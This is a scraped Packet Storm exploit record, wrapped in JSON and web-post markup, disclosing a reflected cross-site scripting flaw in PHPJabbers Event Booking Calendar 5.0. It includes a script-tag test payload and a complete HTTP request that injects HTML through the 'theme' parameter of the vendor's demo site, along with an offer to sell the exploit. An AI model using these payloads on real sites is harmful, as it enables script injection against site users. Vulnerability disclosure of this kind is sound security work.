{“lastseen”:”2026-05-13T17:47:27″,”description”:”Event Booking Calendar version 5.0 suffers from a cross site scripting vulnerability…”,”published”:”2026-05-13T00:00:00″,”modified”:”2026-05-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Event Booking Calendar 5.0 Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:220962″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”## Titles: Event Booking Calendar-5.0 Cross-site scripting (reflected)\\n ## Author: nu11secur1ty\\n ## Date: 5\/13\/2026\\n ## Vendor: https:\/\/www.phpjabbers.com\/\\n ## Software: https:\/\/www.phpjabbers.com\/event-booking-calendar\/\\n ## Reference: https:\/\/portswigger.net\/web-security\/cross-site-scripting\\n \\n ## Description:\\n \\n The value of the theme request parameter is copied into the value of an\\n HTML tag attribute which is encapsulated in double quotation marks.\\n The payload a6kx6\\”\\u003e\\u003cscript\\u003ealert(1)\\u003c\/script\\u003epo9g6 was submitted in the\\n theme parameter. This input was echoed unmodified in the application’s\\n response.\\n This proof-of-concept attack demonstrates that it is possible to inject\\n arbitrary JavaScript into the application’s response.\\n \\n STATUS: HIGH- Vulnerability\\n \\n [+]Exploit:\\n \\n “`\\n GET\\n \/scripts\/event-booking-calendar\/preview.php?locale=1\\u0026hide=0\\u0026theme=theme1a6kx6%22%3E%3Ca%20href=%22\\n https:\/\/www.youtube.com\/watch?v=Q9pX-pEAFT4%22%20target=%22_blank%22%3E%20%3Cimg%20src=%22https:\/\/media1.tenor.com\/m\/sLjUbG5BVikAAAAd\/trump-dance-trump-2024.gif%22%20alt=%22STUPID%22width=%22900%22%20height=%22450%22%3E%20%3C\/a%3Epo9g6\\n HTTP\/2\\n Host: demo.phpjabbers.com\\n Cookie: EventBookingCalendar=179dabd0dc4c6897881b9496ceeaa53a\\n Cache-Control: max-age=0\\n Sec-Ch-Ua: \\”Not-A.Brand\\”;v=\\”24\\”, \\”Chromium\\”;v=\\”146\\”\\n Sec-Ch-Ua-Mobile: ?0\\n Sec-Ch-Ua-Platform: \\”Windows\\”\\n Accept-Language: en-US,en;q=0.9\\n Upgrade-Insecure-Requests: 1\\n User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\n (KHTML, like Gecko) Chrome\/146.0.0.0 Safari\/537.36\\n Accept:\\n text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\\n Sec-Fetch-Site: same-origin\\n Sec-Fetch-Mode: navigate\\n Sec-Fetch-User: ?1\\n Sec-Fetch-Dest: document\\n Accept-Encoding: gzip, deflate, br\\n Priority: u=0, i\\n \\n “`\\n \\n ##[+]Buy the Exploit if you need and if you want to support me:\\n [href](https:\/\/venvar.gumroad.com\/l\/jrzzmg)\\n \\n ## Reproduce:\\n [href](\\n https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/2026\/PHPJABBERS\/Event-Booking-Calendar-5.0-Cross-site-scripting(reflected)\\n )\\n \\n \\n ## Demo PoC:\\n [href](https:\/\/www.patreon.com\/posts\/event-booking-5-158137115)\\n \\n ## Time spent:\\n 01:27:00″,”sourceHref”:”https:\/\/packetstorm.news\/download\/220962″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220962\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-13T17:47:27″,”description”:”Event Booking Calendar version 5.0 suffers from a cross site scripting vulnerability…”,”published”:”2026-05-13T00:00:00″,”modified”:”2026-05-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Event Booking Calendar 5.0 Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:220962″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”## Titles: Event Booking Calendar-5.0 Cross-site scripting…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-54214","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n